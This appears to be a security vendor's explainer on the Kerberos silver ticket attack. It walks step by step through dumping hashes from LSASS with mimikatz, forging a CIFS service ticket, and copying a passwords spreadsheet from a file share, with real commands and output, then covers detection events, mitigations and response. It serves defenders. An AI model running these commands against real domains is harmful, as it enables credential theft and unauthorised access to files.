Silver Ticket

Silver Ticket

Similar in concept to a golden ticket, a silver ticket attack involves compromising credentials and abusing the design of the Kerberos protocol. However, unlike a golden ticket — which grants an adversary unfettered access to the domain — a silver ticket only allows an attacker for forge ticket-granting service (TGS) tickets for specific services. TGS tickets are encrypted with the password hash for the service – therefore, if an adversary steals the hash for a service account they can mint TGS tickets for that service.

While its scope may be smaller, it is still a powerful tool in an adversary’s kit, enabling persistent and stealthy access to resources. Since only the service account’s password hash is required, it is also significantly easier to execute than a golden ticket. Techniques like harvesting hashes from LSASS.exe and Kerberoasting are common ways adversaries obtain service account password hashes.

Threat Summary


Active Directory


ATT&CK® Tactic:

ATT&CK Technique:








How Silver Ticket Works

Hover to see each step

Step 1: To gain the ability to mint TGS tickets, an adversary must first compromise the password hash of a service account. In this example, an adversary has compromised a file server but wishes to gain persistent and stealthy access. They begin the process of creating silver tickets by compromising the necessary password hash.

PS> .\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit
mimikatz(commandline) # privilege::debug
Privilege '20' OK
mimikatz(commandline) # sekurlsa::logonpasswords
# ... output truncated ... #
Authentication Id : 0 ; 29151002 (00000000:01bccf1a)
Session           : Interactive from 5
User Name         : DWM-5
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 21/07/2020 10:26:16
SID               : S-1-5-90-0-5
        msv :
         [00000003] Primary
         * Username : FileServer1$
         * Domain   : DOMAIN
         * NTLM     : 281fd98680ed31a9212256ada413db50
         * SHA1     : c8fe518dfa728eb92eb2566328f0123e3bcb2717
# ... output truncated ... #
mimikatz(commandline) # exit

Step 2: Tools like mimikatz can be used to mint silver tickets. The process for forging TGS tickets is similar to minting golden tickets, and with mimikatz uses the same kerberos::golden method, specifying the password hash of the service account instead of the krbtgt:

  • /domain – The fully qualified domain name of the Active Directory domain
  • /sid – The SID of the Active Directory domain
  • /user – The username to impersonate
  • /target – The fully qualified domain name of the server
  • /service – The target service name
  • /rc4 – The NTLM/RC4 password hash
PS> .\mimikatz.exe "kerberos::golden /user:NonExistentUser / /sid:S-1-5-21-5840559-2756745051-1363507867 /rc4:8fbe632c51039f92c21bcef456b31f2b / /service:cifs /ptt" "misc::cmd" exit
mimikatz(commandline) # kerberos::golden /user:NonExistentUser / /sid:S-1-5-21-5840559-2756745051-1363507867 /rc4:8fbe632c51039f92c21bcef456b31f2b / /service:cifs /ptt
User      : NonExistentUser
Domain    : (DOMAIN)
SID       : S-1-5-21-5840559-2756745051-1363507867
User Id   : 500
Groups Id : *513 512 520 518 519
ServiceKey: 8fbe632c51039f92c21bcef456b31f2b - rc4_hmac_nt
Service   : cifs
Target    :
Lifetime  : 27/07/2020 12:20:26 ; 25/07/2030 12:20:26 ; 25/07/2030 12:20:26
-> Ticket : ** Pass The Ticket **
 * PAC generated
 * PAC signed
 * EncTicketPart generated
 * EncTicketPart encrypted
 * KrbCred generated
Golden ticket for 'NonExistentUser @' successfully submitted for current session
mimikatz(commandline) # misc::cmd
Patch OK for 'cmd.exe' from 'DisableCMD' to 'KiwiAndCMD' @ 00007FF7767043B8
mimikatz(commandline) # exit

Step 3: In the previous step, the adversary forged a silver ticket and injected it into a new cmd.exe session. The silver ticket the attacker minted specified the cifs service, which will allow the attacker to use the forged TGS to access file shares. Because the TGS is forged, it can be created for a user that does not actually exist in the domain making it harder for responders to track the adversary.

In this example, the adversary uses the forged ticket and the Find-InterestingFile cmdlet, provided by the PowerShell module PowerSploit, to scan the file share for and exfiltrate sensitive data.

PS> Find-InterestingFile -Path \\\S$\shares\
FullName       : \\\S$\shares\IT\Service Account Passwords.xlsx
Owner          : DOMAIN\JOED
LastAccessTime : 27/07/2020 12:47:44
LastWriteTime  : 27/07/2020 12:47:44
CreationTime   : 10/04/2011 10:04:50
Length         : 76859
PS> Copy-Item -Path "\\\S$\shares\IT\Service Account Passwords.xlsx" -Destination "C:\Windows\Temp\a20ds3"

Detect, Mitigate, and Respond

Difficulty: Hard

The normal process of obtaining a ticket-granting service ticket involves asking a domain controller to generate one. After the caller proves their identity, the domain controller with reply with a TGS encrypted with the service account password. But because the adversary has compromised that password, they can mint TGS tickets without communicating with the domain controller.

Thus, detecting silver tickets is only possible on the endpoint and involves examining TGS tickets for subtle signs of manipulation, such as: usernames that don’t exist; modified group memberships (added or removed); username and id mismatches; weaker-than-normal encryption types or ticket lifetimes exceeding the domain maximum (domain default lifetime is 10 hours; mimikatz default is 10 years).

The Windows event log has several audit events that are useful for detecting silver tickets:

Event Source Information
Audit Group Membership: Event ID 4627 Member Computers
  • User’s Security Identifier (SID)
  • Group Memberships
Audit Logon: Event ID 4624 Member Computers
  • User’s Security Identifier (SID)
  • Username
  • Source IP (indicating potentially compromised host)

Difficulty: Hard

Because silver tickets abuse the intended design of the Kerberos protocol, the risk of their use cannot be entirely eliminated. However, several mitigations exist that can make it harder for an adversary to compromise service account password hashes.

  • Adopt strong password hygiene practices for service accounts. Their passwords should be randomly generated, a minimum of 30 characters, and routinely changed.
  • Enable PAC Validation. Though it has known limitations, there are some situations in which it may assist with the detection and prevention of silver tickets.
  • Remove end-user administrative privileges on member workstations, and adopt controlled privilege elevation solutions.
  • Reduce administrative access to member workstations and servers to the least required.
  • Use solutions like Microsoft LAPS to create strong, random, and unique passwords for local administrator accounts, and automatically rotate them periodically.
  • Apply the recommended mitigations for Kerberoasting.
  • Do not allow users to possess administrative privileges across security boundaries. For example, an adversary who initially compromises a workstation should not be able to escalate privileges to move from the workstation to a server or domain controller.

Difficulty: Medium

If a silver ticket is detected, several response actions can be taken:

  • Activate the incident response process and alert the incident response team.
  • Quarantine any implicated computers for forensic investigation, as well as eradication and recovery activities.
  • Reset the password of the compromised service account.

Additional Resources

Learn More About Silver Ticket

In Practice

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